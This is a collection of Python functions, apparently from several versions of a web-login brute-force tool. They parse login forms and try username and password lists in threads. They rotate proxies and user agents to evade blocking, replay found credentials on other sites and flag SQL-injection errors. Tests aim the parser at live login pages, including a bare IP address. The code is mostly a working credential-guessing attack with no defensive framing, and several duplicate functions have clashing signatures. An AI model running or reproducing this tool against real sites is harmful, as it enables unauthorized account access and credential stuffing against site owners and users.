def submit(optionURL, tryCreds, optionProxy, optionVerbose, result): try: proc = tbrowser.startBrowser() proc.addheaders = [('User-Agent', tbrowser.useragent())] utils.printf("[+] Checking %s" % (optionURL)) proc.open(optionURL) loginInfo = tbrowser.parseLoginForm(proc.forms()) except Exception as err: if optionVerbose: utils.printf("[x] ReAuth: %s at %s" % (err, optionURL), "bad") if not loginInfo: if optionVerbose: utils.printf( "[x] ReAuth: Can't find login form at %s" % (optionURL), "bad") else: try: loginbrute.submit( optionURL, tryCreds[::-1], optionProxy, # Reverse username + password. Dynamic submit in loginbrute "", optionVerbose, loginInfo, result, True # No key false by default, result now should be url ) except Exception as err: if optionVerbose: utils.printf("[x] ReAuth: Submitting error for %s" % (err), "bad")
def check_condition(options, proc, loginInfo): """ Check logged in successfully condition. This function will check SQL injection as well return 0 -> False return 1 -> True return 2 -> Should be SQL Injection error-based """ if options.panel_url: # User provided panel url (/wp-admin/ for example, repopen this url to check sess) proc.open(options.panel_url) if not parseLoginForm(proc.forms()): # != loginInfo: if sqlerror(proc.response().read()): return 2 else: return 1 else: return 0 else: # User provided direct login URL (/wp-login.php). # DEBUG # proc.open(options.url) # if parseLoginForm(proc.forms()) != loginInfo: # return 1 # else: # return 0 if sqlerror(proc.response().read()): return 2 else: return 1
def submit(url, options, tryCreds, result): try: proc = startBrowser(options.timeout) printf("[+] Checking %s" % (url)) proc.open(url) loginInfo = parseLoginForm(proc.forms()) except Exception as err: if options.verbose: printf("[x] ReAuth: %s at %s" % (err, url), "bad") if not loginInfo: if options.verbose: printf("[x] ReAuth: Can't find login form at %s" % (url), "bad") else: try: options.url = url loginbrute.submit( # Reverse username + password. Dynamic submit in loginbrute options, loginInfo, tryCreds[-2:][::-1], result) except Exception as err: if options.verbose: printf("[x] ReAuth: Submitting error for %s" % (err), "bad")
def test_webmin_customport(self): """Test parse webmin login form with custom port """ proc = tbrowser.startBrowser() proc.open("http://181.198.70.13:10000/") _, login = tbrowser.parseLoginForm(proc.forms()) self.assertEqual(login, ['pass', 'user']) proc.close() return True
def test_wordpress(self): """Test parse wordpress login form """ proc = tbrowser.startBrowser() proc.open("https://login.wordpress.org/?locale=en_US") _, login = tbrowser.parseLoginForm(proc.forms()) self.assertEqual(login, ['pwd', 'log']) proc.close() return True
def test_github(self): """Test parse github login form with""" proc = tbrowser.startBrowser() proc.open( "https://github.com/login?return_to=%2Fjoin%3Fsource%3Dheader-home" ) _, login = tbrowser.parseLoginForm(proc.forms()) self.assertEqual(login, ['password', 'commit']) proc.close() return True
def check_login(opts): try: proc = startBrowser(options.timeout) proc.open(opts.url) """ Check URL type. If Website directs to other URL, options.url is website's panel else: it is login url. Example: options.url = site.com/wp-admin/ -> panel site directs user to wp-login -> login URL options.url = site.com/wp-login.php -> login URL """ if proc.geturl() != opts.url: printf("[*] Website moves to: ['%s']" %(proc.geturl()), "norm") opts.panel_url, opts.login_url = opts.url, proc.geturl() else: opts.login_url = opts.url # printf("[*] Connect success!", "good") options.attack_mode = "--loginbrute" if opts.run_options["--verbose"]: printf("[*] %s" %(proc.title()), "norm") # printf("[+] Analyzing login form....") loginInfo = parseLoginForm(proc.forms()) return loginInfo except Exception as error: try: if error.code == 401: ## GET INFORMATION resp_header = str(proc.response().info()) if "WWW-Authenticate" in resp_header: loginID = checkHTTPGetLogin(resp_header) loginInfo = (loginID, ["Password", "User Name"]) if options.verbose: printf("[+] Using HTTP GET Authentication mode", "norm") options.attack_mode = "--httpget" else: loginInfo = False else: loginInfo = False printf("[x] Target check: %s" %(error), "bad") # Error != http code except: loginInfo = False die("[x] Target check:", error) except KeyboardInterrupt: loginInfo = False finally: proc.close() return loginInfo
def submit(optionURL, tryCred, setProxyList, setKeyFalse, optionVerbose, loginInfo, result, optionReauth): # Get login form field informations # BUG parse form issue with gmail, move to tbrowser.parseLoginForm frmLoginID, frmFields = loginInfo tryPassword, tryUsername = tryCred proc = tbrowser.startBrowser() user_agent = tbrowser.useragent() proc.addheaders = [('User-Agent', user_agent)] for cred in list(result.queue): if tryUsername == cred[0]: return 0 # don't run if find password of username if setProxyList: #Set proxy connect proxyAddr = actions.randomFromList(setProxyList) proc.set_proxies({"http": proxyAddr}) try: proc.open(optionURL) # Select login form proc.select_form(nr=frmLoginID) # FILLS ALL FIELDS https://stackoverflow.com/a/5389578 for field, cred in zip(frmFields, tryCred): proc.form[field] = cred # Send request proc.submit() if optionVerbose: utils.printf("Trying: %s:%s" % (tryUsername, tryPassword), 'norm') if setProxyList: utils.printf("Using proxy: %s" % (proxyAddr), 'norm') # Reload - useful for redirect to dashboard proc.reload() # If no login form -> success # TODO improve condition to use captcha if not tbrowser.parseLoginForm(proc.forms()): if setKeyFalse: if setKeyFalse not in proc.response().read(): # Add creds to success list # If verbose: print if tryUsername: utils.printf( "[*] Match found: %s:%s" % (tryUsername, tryPassword), "good") #result.put([tryUsername, tryPassword]) else: utils.printf("[*] Password found: %s" % (tryPassword), "good") #result.put([tryPassword]) if not optionReauth: result.put([tryUsername, tryPassword]) else: result.put([ optionURL.split("/")[2], tryUsername, tryPassword ]) # Clear object and try new username else: if optionVerbose: utils.printf( "[-] Failed: %s:%s" % (tryUsername, tryPassword), "bad") else: if tryUsername: utils.printf( "[*] Match found: %s:%s" % (tryUsername, tryPassword), "good") #result.put([tryUsername, tryPassword]) else: utils.printf("[*] Password found: %s" % (tryPassword), "good") #result.put([tryPassword]) if not optionReauth: result.put([tryUsername, tryPassword]) else: result.put( [optionURL.split("/")[2], tryUsername, tryPassword]) # Clear object and try new username else: if optionVerbose: utils.printf("[-] Failed: %s:%s" % (tryUsername, tryPassword), "bad") except mechanize.HTTPError as error: # Get blocked if optionVerbose: utils.printf( "[x] Error: %s:%s\n%s at %s" % (tryUsername, tryPassword, error, optionURL), "bad") return False except Exception as error: if optionVerbose: utils.printf( "[x] Error: %s:%s\n%s at %s" % (tryUsername, tryPassword, error, optionURL), "bad") return False finally: proc.close() return True
def submit(options, loginInfo, tryCred, result): # Get login form field informations # frmLoginID, frmFields = loginInfo tryPassword, tryUsername = tryCred proc = startBrowser(options.timeout) # BREAK if we had valid payload? # if options.options["-p"] == "sqli" and len(list(result.queue)) > 1: # return True for cred in list(result.queue): if tryUsername == cred[1]: return True if options.proxy: # Set proxy connect proxyAddr = randomFromList(options.proxy) proc.set_proxies({"http": proxyAddr}) try: proc.open(options.login_url) _form = parseLoginForm(proc.forms()) if not _form: if options.verbose: printf( "[x] LoginBrute: No login form found. Possibly get blocked!" ) return False else: frmLoginID, frmFields = _form if options.verbose and loginInfo != _form: printf("[+] Warning: Form field has been changed!") # Select login form proc.select_form(nr=frmLoginID) # FILLS ALL FIELDS https://stackoverflow.com/a/5389578 for field, cred in zip(frmFields, tryCred): proc.form[field] = cred # page_title = proc.title() # Send request if options.verbose: if options.proxy: printf( "[+] Trying: %s through %s" % ([tryUsername, tryPassword], proxyAddr), 'norm') else: printf("[+] Trying: %s" % ([tryUsername, tryPassword]), 'norm') # Reload the browser. For javascript redirection and others... # proc.reload() # If no login form -> maybe success. Check conditions proc.submit() if not parseLoginForm(proc.forms()): # != loginInfo: test_result = check_condition(options, proc, loginInfo) if test_result == 1: #printf("[*] Page title: ['%s']" %(proc.title()), "good") # "If we tried login form with username+password field" if tryUsername: printf( "[*] %s [%s]" % ([tryUsername, tryPassword], proc.title()), "good") # "Else If we tried login form with password field only" else: printf("[*] %s []" % ([tryPassword], proc.title()), "good") result.put([options.url, tryUsername, tryPassword]) elif test_result == 2 and options.verbose: printf("[+] SQL Injection vulnerable found") printf(" %s" % ([tryUsername, tryPassword]), "norm") else: # Possibly Error. But sometime it is true if options.verbose: printf( "[x] Get error page: %s" % ([tryUsername, tryPassword]), "bad") printf(" [x] Page title: ['%s']" % (proc.title()), "bad") # "Login form is still there. Oops" else: # TODO test if web has similar text (static) if sqlerror(proc.response().read()) and options.verbose: printf("[+] SQL Injection vulnerable found") printf(" %s" % ([tryUsername, tryPassword]), "norm") if options.verbose: if options.proxy: printf( "[-] Failed: %s through %s" % ([tryUsername, tryPassword], proxyAddr), "bad") else: printf("[-] Failed: %s" % ([tryUsername, tryPassword]), "bad") return True except Exception as error: """ Sometimes, web servers return error code because of bad configurations, but our cred is true. This code block showing information, for special cases """ try: # Unauthenticated if error.code == 401: if options.verbose: printf("[-] Failed: %s" % ([tryUsername, tryPassword]), "bad") # Server misconfiguration? Panel URL is deleted or wrong elif error.code == 404: printf("[x] %s: %s" % (error, tryCred[::-1]), "bad") if options.verbose: printf(" %s" % (proc.geturl()), "bad") # Other error code else: if options.verbose: printf("[x] (%s): %s" % (proc.geturl(), tryCred[::-1]), "bad") except: # THIS BLOCKED BY WAF printf("[x] Loginbrute: %s" % (error), "bad") return False finally: proc.close()
def main(optionURL, setOptions, optionRunMode, setRunOptions): def do_job(jobs): for job in jobs: job.start() utils.printp for job in jobs: job.join() import time, os, threading # CHECK IMPORTING ALL LIBS. IMPORT HERE -> CALL HELP_BANNER ONLY FASTER try: import mechanize, re, requests # for basichttpauthentication, not useless, use later except ImportError as err: utils.die(err, "Try: pip install %s" % (str(err).split(" ")[-1])) try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: # Legacy Python that doesn't verify HTTPS certificates by default pass else: # Handle target environment that doesn't support HTTPS verification ssl._create_default_https_context = _create_unverified_https_context try: from Queue import Queue except ImportError: from queue import Queue result = Queue() # BUG bad memory management optionUserlist, optionThreads, optionKeyFalse, optionPasslist = setOptions.values( ) optionProxy, optionReport, optionVerbose = setRunOptions.values() try: optionUserlist = optionUserlist.split("\n") except: pass try: optionPasslist = optionPasslist.split("\n") except: pass ## End of testing timeStarting = time.time() # get login form info # call brute IS_REGULAR = True # IF NOT HTTP BASIC AUTHENTICATION, CHECK RESULT AND PARSE LOGIN FORM proc = tbrowser.startBrowser() proc.addheaders = [('User-Agent', tbrowser.useragent())] if optionRunMode not in ["--httpauth"]: try: utils.printf("Checking connection...") proc.open(optionURL) #TODO PROXY utils.printf("[*] Connect success!", "good") loginInfo = tbrowser.parseLoginForm(proc.forms()) if not loginInfo: utils.die("[x] URL error", "No login field found") elif actions.size_o(loginInfo[1]) == 1: # Password checking only utils.printf("[*] Form with password field", "good") del optionUserlist[:] optionUserlist = [""] IS_REGULAR = False elif actions.size_o(loginInfo[1]) == 2: utils.printf("[*] Form username+password field", "good") except Exception as err: utils.die("[x] Can't connect to target", err) finally: proc.close() #### END OF CHECKING TARGET sizePasslist = actions.size_o(optionPasslist) sizeUserlist = actions.size_o(optionUserlist) workers = [] utils.printf("Starting attack....\nTask count: %s tasks" % (sizeUserlist * sizePasslist)) ############################ # Setting up threads ############################ try: for password in optionPasslist: for username in optionUserlist: username, password = username.replace("\n", ""), password.replace( "\n", "") #### # IF HAVE ENOUGH THREAD, DO IT ALL ### if actions.size_o(workers) == optionThreads: do_job(workers) del workers[:] if optionRunMode == "--brute": worker = threading.Thread( target=loginbrute.submit, args=(optionURL, [password, username ], optionProxy, optionKeyFalse, optionVerbose, loginInfo, result)) elif optionRunMode == "--httpauth": worker = threading.Thread(target=httpauth.submit, args=(optionURL, username, password, optionProxy, optionVerbose, result)) worker.daemon = True workers.append(worker) ######### END SETTING UP THREADS ################ #DO ALL LAST TASKs do_job(workers) del workers[:] ### CATCH ERRORS ### except KeyboardInterrupt: # as error: # TODO: kill running threads here utils.die("[x] Terminated by user!", "KeyboardInterrupt") except SystemExit: # as error utils.die("[x] Terminated by system!", "SystemExit") except Exception as error: utils.die("[x] Runtime error", error) ### ALL TASKS DONE #### finally: runtime = time.time() - timeStarting """ All threads have been set daemon Running threads should be stopped after main task done """ ############################################ # Get result # ############################################ try: credentials = list(result.queue) if actions.size_o(credentials) == 0: utils.printf("[-] No match found!", "bad") else: utils.printf( "\n[*] %s valid password[s] found:\n" % (actions.size_o(credentials)), "norm") if IS_REGULAR: utils.print_table(("Username", "Password"), *credentials) else: if optionRunMode != "--sqli": utils.print_table(("", "Password"), *credentials) else: utils.print_table(("Payload", ""), *credentials) # TODO: test more ### CREATE REPORT #### if optionReport: try: import reports optionProxy = "True" if optionProxy else "False" report_name = "%s_%s" % (time.strftime("%Y.%m.%d_%H.%M"), optionURL.split("/")[2]) report_path = "%s/%s.txt" % (reports.__path__[0], report_name) reports.makeReport( utils.report_banner(optionURL, optionRunMode, optionProxy, optionThreads, credentials, report_name, runtime, IS_REGULAR), report_path) utils.printf("\n[*] Report file at:\n%s" % (report_path), "good") except Exception as err: utils.printf("[x] Error while creating report: %s" % (err), "bad") except Exception as err: utils.printf("\n[x] Error while getting result.\n", "bad") utils.printf(err, "bad") utils.printf("\n[*] Time elapsed: %0.5s [s]\n" % (runtime), "good") sys.exit(0)
def submit(optionURL, tryUsername, tryPassword, sizeTask, setProxyList, setKeyFalse, optionVerbose, loginInfo, result): ############################################ # Old code logic: # Create 1 browser object per password # Current: # Create 1 browser object per username # Pick 1 user agent per password try # ############################################ # Get login form field informations frmLoginID, frmUserfield, frmPassfield = loginInfo # Get single Username in username list / file proc = tbrowser.startBrowser() # Get single Password, remove \n # New test code block: add new user_agent each try user_agent = tbrowser.useragent() proc.addheaders = [('User-Agent', user_agent)] for cred in list(result.queue): if tryUsername == cred[0]: # if optionVerbose: # utils.printf("Canceled: %s:%s" %(tryUsername, tryPassword)) return 0 # don't run if find password of username if setProxyList: #Set proxy connect proxyAddr = actions.randomFromList(setProxyList) #utils.printf("Debug: proxy addr %s" %(proxyAddr)) proc.set_proxies({"http": proxyAddr}) proc.open(optionURL) # End new code block try: # Select login form proc.select_form(nr=frmLoginID) proc.form[frmUserfield] = tryUsername proc.form[frmPassfield] = tryPassword # Send request proc.submit() # Print status bar if optionVerbose: utils.printf("Trying: %s:%s" % (tryUsername, tryPassword), 'norm') if setProxyList: utils.printf("Using proxy: %s" % (proxyAddr), 'norm') #utils.printp(trying, sizeTask) #proc.submit() # Reload - useful for redirect to dashboard proc.reload() # If no login form -> success # TODO improve condition to use captcha if not tbrowser.parseLoginForm(proc.forms()): if setKeyFalse: if setKeyFalse not in proc.response().read(): # Add creds to success list # If verbose: print utils.printf( "Match found: %s:%s" % (tryUsername, tryPassword), "good") result.put([tryUsername, tryPassword]) # Clear object and try new username proc.close() else: if optionVerbose: utils.printf( "Failed: %s:%s" % (tryUsername, tryPassword), "bad") else: utils.printf("Match found: %s:%s" % (tryUsername, tryPassword), "good") result.put([tryUsername, tryPassword]) # Clear object and try new username proc.close() else: if optionVerbose: utils.printf("Failed: %s:%s" % (tryUsername, tryPassword), "bad") except mechanize.HTTPError as error: # Get blocked if optionVerbose: utils.printf( "Error: %s:%s\n%s" % (tryUsername, tryPassword, error), "bad") return False except Exception as error: if optionVerbose: utils.printf( "Error: %s:%s\n%s" % (tryUsername, tryPassword, error), "bad") return False proc.close() return True